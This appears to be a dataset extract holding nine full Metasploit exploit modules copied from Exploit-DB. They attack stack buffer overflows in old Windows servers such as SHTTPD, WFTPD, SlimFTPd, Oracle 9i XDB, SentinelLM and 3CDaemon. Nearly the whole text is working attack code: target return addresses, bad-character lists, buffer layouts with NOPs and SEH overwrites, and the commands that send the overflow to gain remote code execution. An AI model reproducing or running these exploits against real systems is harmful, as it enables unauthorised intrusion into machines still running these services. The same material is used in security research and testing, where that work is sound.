QLWD/code_shield huggingface dataset:
标题: SHTTPD 1.34 (Windows x86) - URI-Encoded POST Request Overflow (Metasploit) EDB-ID: 16759 CVE: 2006-5216 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: shttpd_post.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in SHTTPD <= 1.34.
    The vulnerability is caused due to a boundary error within the
    handling of POST requests. Based on an original exploit by skOd
    but using a different method found by hdm.
   },
   'Author'         => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-5216'],
     [ 'OSVDB', '29565' ],
     [ 'URL', 'http://shttpd.sourceforge.net'],
     [ 'BID', '20393'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'BadChars' => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Except for Spanish locale target, all come from:
     # http://metasploit.com/users/opcode/msfopcode.cgi
     [ 'Windows NT English SP5-SP6',   { 'Ret' => 0x776a183a } ],
     [ 'Windows 2000 Spanish SP4',   { 'Ret' => 0x79496391 } ],
     [ 'Windows 2000 French SP4',   { 'Ret' => 0x74fb108d } ],
     [ 'Windows 2000 English SP0-SP4',   { 'Ret' => 0x75021421 } ],
     [ 'Windows 2000 French SP0-SP4',   { 'Ret' => 0x74fa3144 } ],
     [ 'Windows 2003 Server English SP0-SP1', { 'Ret' => 0x77d877d3 } ],
     [ 'Windows XP German SP2',    { 'Ret' => 0x71a02975 } ],
     [ 'Windows XP German SP1',    { 'Ret' => 0x71a02a6a } ],
     [ 'Windows XP English SP2',    { 'Ret' => 0x71aa1e08 } ],
     [ 'Windows XP English SP0-SP1',   { 'Ret' => 0x71aa1aaa } ],
    ],
   'DisclosureDate' => 'Oct 6 2006'))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class )
 end

 def exploit
  connect

  pat = rand_text_alphanumeric(4000)
  pat[8,4] = [target.ret].pack('V')
  pat[103, payload.encoded.length] = payload.encoded
  pat = Rex::Text.uri_encode(pat)

  res = "post /#{pat} HTTP/1.0\r\n\r\n"

  print_status("Trying target address 0x%.8x..." % target.ret)
  sock.put(res)
  sock.close

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16759
标题: Texas Imperial Software WFTPD 3.23 - SIZE Overflow (Metasploit) EDB-ID: 16741 CVE: 2006-4318 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: wftpd_size.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the SIZE verb in
    Texas Imperial's Software WFTPD 3.23.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2006-4318' ],
     [ 'OSVDB', '28134' ],
     [ 'BID', '19617' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'     => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2d3028 } ],
     [ 'Windows XP Pro SP1 English',    { 'Ret' => 0x77dd1595 } ],
     [ 'Windows XP Pro SP2 English',           { 'Ret' => 0x77d498ec } ],
    ],
   'DisclosureDate' => 'Aug 23 2006',
   'DefaultTarget' => 0))
 end

 def exploit
  connect_login

  sploit =  "/" + make_nops(525 - payload.encoded.length)
  sploit << payload.encoded + [target.ret].pack('V')

  print_status("Trying target #{target.name}...")

  send_cmd(['SIZE', sploit], false)
  select(nil,nil,nil,2)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16741
标题: Easy File Sharing FTP Server 2.0 - PASS Overflow (Metasploit) EDB-ID: 16742 CVE: 2006-3952 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: easyfilesharing_pass.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Easy File Sharing FTP Server 2.0 PASS Overflow',
   'Description'    => %q{
    This module exploits a stack buffer overflow in the Easy File Sharing 2.0
    service. By sending an overly long password, an attacker can execute
    arbitrary code.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2006-3952' ],
     [ 'OSVDB', '27646' ],
     [ 'BID', '19243' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
    ],
   'DisclosureDate' => 'Jul 31 2006',
   'DefaultTarget'  => 0))
 end

 def check
  connect
  disconnect

  if (banner =~ /Easy File Sharing FTP Server/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  filler =  rand_text_english(2559) + "\xeb\x12"
  filler << make_nops(2) + [target.ret].pack('V')

  sploit = "\x2c" + filler + payload.encoded

  print_status("Trying target #{target.name}...")

  # needs anonymous to be set.
  send_cmd(['USER', "anonymous"], true)
  send_cmd(['PASS', sploit], false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16742
标题: NetTerm NetFTPD - 'USER' Remote Buffer Overflow (Metasploit) EDB-ID: 16735 CVE: 2005-1323 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: netterm_netftpd_user.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NetTerm NetFTPD USER Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the NetTerm NetFTPD
    application. This package is part of the NetTerm package.
    This module uses the USER command to trigger the overflow.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10559 $',
   'References'     =>
    [
     [ 'CVE', '2005-1323'],
     [ 'OSVDB', '15865'],
     [ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],
     [ 'BID', '13396'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x20\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => [ 'win' ],
   'Targets'        =>
    [
     [
      'NetTerm NetFTPD Universal',  # Tested OK - hdm 11/24/2005
      {
       'Ret'      => 0x0040df98, # netftpd.exe (multiple versions)
      },
     ],
     [
      'Windows 2000 English',
      {
       'Ret'      => 0x75022ac4, # ws2help.dll
      },
     ],
     [
      'Windows XP English SP0/SP1',
      {
       'Ret'      => 0x71aa32ad, # ws2help.dll
      },
     ],
     [
      'Windows 2003 English',
      {
       'Ret'      => 0x7ffc0638, # peb magic :-)
      },
     ],
     [
      'Windows NT 4.0 SP4/SP5/SP6',
      {
       'Ret'      => 0x77681799, # ws2help.dll
      },
     ],
    ],
   'DisclosureDate' => 'Apr 26 2005',
   'DefaultTarget' => 0))
 end

 def check
  connect
  disconnect
  if (banner =~ /NetTerm FTP server/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  # U          push ebp
  # S          push ebx
  # E          inc ebp
  # R          push edx
  # \x20\xC0   and al, al

  buf          = rand_text_english(8192, payload_badchars)
  buf[0, 1]    = "\xc0"
  buf[1, payload.encoded.length] = payload.encoded
  buf[1014, 4] = [ target.ret ].pack('V')

  send_cmd( ["USER #{buf}"] )
  send_cmd( ['HELP'] )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16735
标题: FileCOPA FTP Server (Pre 18 Jul Version) - 'LIST' Remote Buffer Overflow (Metasploit) EDB-ID: 16733 CVE: 2006-3726 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: filecopa_list_overflow.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FileCopa FTP Server pre 18 Jul Version',
   'Description'    => %q{
     This module exploits the buffer overflow found in the LIST command
    in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch
   },
   'Author'         => [ 'Jacopo Cervini' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2006-3726' ],
     [ 'OSVDB', '27389' ],
     [ 'BID', '19065' ],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',

   'Targets'        =>
    [
     [ 'Windows 2k Server SP4 English',   { 'Ret' => 0x7c2e7993, 'Nops' => 160 } ], # jmp esp
     [ 'Windows XP Pro SP2 Italian',      { 'Ret' => 0x77f62740, 'Nops' => 240 } ]  # jmp esp
    ],
   'DisclosureDate' => 'Jul 19 2006',
   'DefaultTarget' => 0))
 end


 def exploit
  connect_login

  print_status("Trying target #{target.name}...")

  sploit =  "A "
  sploit << make_nops(target['Nops'])
  sploit << [target.ret].pack('V') + make_nops(4) + "\x66\x81\xc1\xa0\x01\x51\xc3" + make_nops(189) + payload.encoded

  send_cmd( ['LIST', sploit] , false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16733
标题: Sentinel LM - UDP Buffer Overflow (Metasploit) EDB-ID: 16746 CVE: 2005-0353 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: sentinel_lm7_udp.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SentinelLM UDP Buffer Overflow',
   'Description'    => %q{
     This module exploits a simple stack buffer overflow in the Sentinel
    License Manager. The SentinelLM service is installed with a
    wide selection of products and seems particular popular with
    academic products. If the wrong target value is selected,
    the service will crash and not restart.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0353'],
     [ 'OSVDB', '14605'],
     [ 'BID', '12742'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
     ['SentinelLM 7.2.0.0 Windows 2000 English',       { 'Ret' => 0x75022ac4 }], # ws2help.dll
     ['SentinelLM 7.2.0.0 Windows 2000 German',        { 'Ret' => 0x74fa1887 }], # ws2help.dll
     ['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
     ['SentinelLM 7.2.0.0 Windows 2003 English SP0',   { 'Ret' => 0x7ffc0638 }], # peb
    ],
   'DisclosureDate' => 'Mar 07 2005' ))

  register_options(
   [
    Opt::RPORT(5093)
   ], self.class)
 end

 def check
  connect_udp
  udp_sock.put("\x7a\x00\x00\x00\x00\x00")
  res = udp_sock.recvfrom(8192)
  disconnect_udp

  if (res and res[0] == 0x7a)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect_udp

  # Payload goes first
  buf = payload.encoded + rand_text_english(2048-payload.encoded.length)

  # Return to a pop/pop/ret via SEH
  buf[836, 4] = [target.ret].pack('V')

  # The pop/pop/ret takes us here, jump back 5 bytes
  buf[832, 2] = "\xeb\xf9"

  # Now jump all the way back to our shellcode
  buf[827, 5] = "\xe9" + [-829].pack('V')

  udp_sock.put(buf)
  udp_sock.recvfrom(8192)

  handler
  disconnect_udp
 end


end URL: https://www.exploit-db.com/exploits/16746
标题: SlimFTPd - 'LIST' Concatenation Overflow (Metasploit) EDB-ID: 16729 CVE: 2005-2373 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: slimftpd_list_concat.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SlimFTPd LIST Concatenation Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the SlimFTPd
    server. The flaw is triggered when a LIST command is
    received with an overly-long argument. This vulnerability
    affects all versions of SlimFTPd prior to 3.16 and was
    discovered by Raphael Rigo.
   },
   'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10559 $',
   'References'     =>
    [
     [ 'CVE', '2005-2373'],
     [ 'OSVDB', '18172'],
     [ 'BID', '14339'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 490,
     'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
     'StackAdjustment' => -3500,
    },
   'Platform'       => [ 'win' ],
   'Targets'        =>
    [
     [
      'SlimFTPd Server <= 3.16 Universal',
      {
       'Ret'      => 0x0040057d,
      },
     ],
    ],
   'DisclosureDate' => 'Jul 21 2005',
   'DefaultTarget' => 0))
 end

 def exploit
  connect_login

  print_status("Trying target #{target.name}...")

  buf          = make_nops(511)
  buf[10, payload.encoded.length] = payload.encoded
  buf[507, 4] = [ target.ret ].pack('V')

  send_cmd( ['XMKD', '41414141'], true );
  send_cmd( ['CWD', '41414141'], true );
  send_cmd( ['LIST', buf], false )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16729
标题: Oracle 9i XDB (Windows x86) - FTP PASS Overflow (Metasploit) EDB-ID: 16731 CVE: 2003-0727 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: oracle9i_xdb_ftp_pass.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Oracle 9i XDB FTP PASS Overflow (win32)',
   'Description'    => %q{
     By passing an overly long string to the PASS command, a
    stack based buffer overflow occurs. David Litchfield, has
    illustrated multiple vulnerabilities in the Oracle 9i XML
    Database (XDB), during a seminar on "Variations in exploit
    methods between Linux and Windows" presented at the Blackhat
    conference.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2003-0727'],
     [ 'OSVDB', '2449'],
     [ 'BID', '8375'],
     [ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 800,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Targets'        =>
    [
     [
      'Oracle 9.2.0.1 Universal',
      {
         'Platform' => 'win',
         'Ret'      => 0x60616d46, # oraclient9.dll (pop/pop/ret)
      },
     ],
    ],
   'DisclosureDate' => 'Aug 18 2003',
   'DefaultTarget' => 0))

  register_options([Opt::RPORT(2100),], self.class)
  deregister_options('FTPUSER', 'FTPPASS')
 end


 def check
  connect
  disconnect
  if (banner =~ /9\.2\.0\.1\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  user   = rand_text_alpha_upper(10)
  sploit =  rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6)
  sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded

  print_status("Trying target #{target.name}...")

  send_cmd( ['USER', user], true )
  send_cmd( ['PASS', sploit], false )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16731
标题: 3Com 3CDaemon 2.0 FTP Server - 'Username' Remote Overflow (Metasploit) EDB-ID: 16730 CVE: 2005-0277 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: 3cdaemon_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in the 3Com 3CDaemon
    FTP service. This package is being distributed from the 3Com
    web site and is recommended in numerous support documents.
    This module uses the USER command to trigger the overflow.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2005-0277'],
     [ 'OSVDB', '12810'],
     [ 'OSVDB', '12811'],
     [ 'BID', '12155'],
     [ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 674,
     'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
     'StackAdjustment' => -3500,
     'Compat'   =>
      {
       'ConnectionType' => "-find"
      }
    },
   'Targets'        =>
    [
     [
      'Windows 2000 English', # Tested OK - hdm 11/24/2005
      {
       'Platform' => 'win',
       'Ret'      => 0x75022ac4, # ws2help.dll
      },
     ],
     [
      'Windows XP English SP0/SP1',
      {
       'Platform' => 'win',
       'Ret'      => 0x71aa32ad, # ws2help.dll
      },
     ],
     [
      'Windows NT 4.0 SP4/SP5/SP6',
      {
       'Platform' => 'win',
       'Ret'      => 0x77681799, # ws2help.dll
      },
     ],
     [
      'Windows 2000 Pro SP4 French',
      {
       'Platform' => 'win',
       'Ret' => 0x775F29D0,
      },
     ],

    ],
   'DisclosureDate' => 'Jan 4 2005'))
 end

 def check
  connect
  disconnect
  if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buf          = rand_text_english(2048, payload_badchars)
  seh          = generate_seh_payload(target.ret)
  buf[229, seh.length] = seh

  send_cmd( ['USER', buf] , false )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16730